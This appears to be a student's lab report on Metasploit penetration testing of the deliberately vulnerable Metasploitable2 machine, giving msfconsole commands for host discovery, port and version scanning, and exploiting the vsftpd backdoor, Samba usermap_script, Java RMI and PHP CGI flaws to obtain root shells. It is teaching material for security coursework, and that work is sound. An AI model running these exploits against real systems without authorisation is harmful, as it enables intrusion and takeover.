20222305 2024-2025-1 《网络与系统攻防技术》实验六实验报告

网络攻防实验报告

姓名:田青

学号:20222305

实验日期:2024/11/15 — 2024/11/22

实验名称:Metasploit攻击渗透实践

指导教师:王志强


1.学习内容

1.Metasploit:是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode。
2.渗透攻击模块(exploits):
被动渗透攻击:利用漏洞位于客户端软件中,如浏览器、浏览插件、电子邮件客户端、office与Adobe等各种文档与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击方式。即构造出“邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务端、发送邮件附件、结合社会工程学攻击分发并诱骗目标用户打开、结合网络欺骗和劫持技术,等目标系统上的用户访问到这些邪恶内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的shell会话。客户端软件被动渗透攻击能够绕过防火墙等网络边界防护措施,最常见的两类被动渗透攻击为浏览器软件漏洞攻击和文件格式类漏洞攻击。
3.攻击载荷模块(Payloads):
攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执行,从而完成ShellCode中实现的单一功能。
metasploit攻击载荷模块分为独立(Single)、传输器(Stager)、传输体(Stage)三种类型。
独立攻击载荷是完全自包含的,可直接独立地植入目标系统进行执行,比如“windows/shell_bind_tcp”是适用于Windows操作系统平台,能够将Shell控制会话绑定在指定TCP端口上的攻击载荷。在一些比较特殊情况下,可能会对攻击载荷的大小、运行条件有所限制,比如特定安全漏洞利用时可填充邪恶攻击缓冲区的可用空间很小、windows 7等新型操作系统所引入的NX(堆栈不可执行)、DEP(数据执行保护)等安全防御机制,在这些场景情况下,Metasploit提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码精悍短小且非常可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行。
传输器与传输体配对的攻击载荷模块以名称中的“/”标识,例如“Windows/shell/bind_tcp”是由传输器载荷(bind_tcp)和一个传输体载荷(shell)组成
功能等价于“Windows/shell_bind_tcp”

2.实验内容

本实践目标是掌握metasploit的用法。

指导书参考Rapid7官网的指导教程。

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

下载官方靶机Metasploitable2,完成下面实验内容。

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

利用步骤:

在kali中执行msfconsole 启动metasploit

use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞

set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)

exploit/run 开始攻击

利用成功
执行uname –a、 pwd、 id等命令 验证

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

利用步骤:

use exploit/multi/samba/usermap_script 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit 开始攻击

利用成功 执行uname–a验证

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

操作步骤:

首先查看1099端口是否打开。

然后在MSF中:
use exploit/multi/misc/java_rmi_server

show options 查看配置参数

set RHOST (靶机IP)

exploit/run

sessions -i id

shell (进入meterpreter时,使用whoami验证下)

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在kali中执行msfconsole,启动metasploit

msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit/run 开始攻击

3.实验过程

3.1前期渗透

3.1.1登录靶机Metasploitable2-Linux:

账号/密码:msfadmin

3.1.2查询靶机IP,确定扫描网段

指令:ifconfig
image
靶机IP:靶机IP:192.168.31.177

3.1.3主机发现

指令:

点击查看代码
msfconsole  
search arp_sweep
use 0
set RHOSTS 192.168.31.0/24
set THREADS 30
exploit

search arp_sweep
image
image
从图中可以看到,我们已经成功的查询到靶机:192.168.31.177.

3.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等

3.2.1直接用nmap

指令:nmap -p- 192.168.31.117
image

3.2.2用Aux中的portscan/tcp

指令

点击查看代码
search portscan/tcp
use 0
set RHOSTS 192.168.31.117 
exploit

image

3.3 扫描系统版本、漏洞

指令

点击查看代码
search auxiliary/scanner/smb/smb_version 
use 0
set RHOSTS 192.168.31.117
exploit

image

从图上可以看到,目标主机的操作系统是Unix,版本是Samba 3.0.20-Debain,且使用SMBv1,存在已知漏洞。

3.4 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
指令

点击查看代码
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOSTS 192.168.31.117
exploit

image
输入uname -a、id、pwd等指令检测是否攻击成功。

3.5SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
指令

点击查看代码
search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.31.117
exploit

image
执行uname–a,pwd,ls等命令验证。

3.6Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

首先,查看1099端口是否开放:
指令

点击查看代码
search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.31.117
exploit

image
得知1099端口已开放。
接下来输入指令

点击查看代码
search exploit/multi/misc/java_rmi_server 
use 0 
show options //查看配置参数
set RHOSTS 192.168.31.117
exploit
执行攻击后,使用指令`sessions -i 3`进入任务 再输入shell,利用`whoami`指令验证,得到结果:root

image

3.7PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
指令

点击查看代码
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOSTS 192.168.31.117
exploit
输入`dir`验证:

image

3.问题及解决方案

  • 问题1:扫不到靶机
    image

  • 问题1解决方案:改为桥接模式与主机在同一网段
    原IP:image
    改后IP:
    image

4.学习感悟、思考等

  • 通过此次试验我认识到Metasploit是一个强大的渗透测试平台,它不仅能够帮助安全专家发现网络中的漏洞,还能用于验证漏洞的修复效果以及提高组织的安全意识。
  • 通过对不同端口的攻击,我更好地理解Metasploit的工作原理及其各种模块。
  • 我意识到因为网络安全领域发展迅速,新的漏洞和技术不断出现,我们作为安全专业人士,不仅要技术过硬,还要具备高度的安全意识。了解最新的安全威胁趋势,为保护信息系统做出贡献。

参考资料

posted on 2024-11-17 16:04  20222305田青  阅读(65)  评论(0)    收藏  举报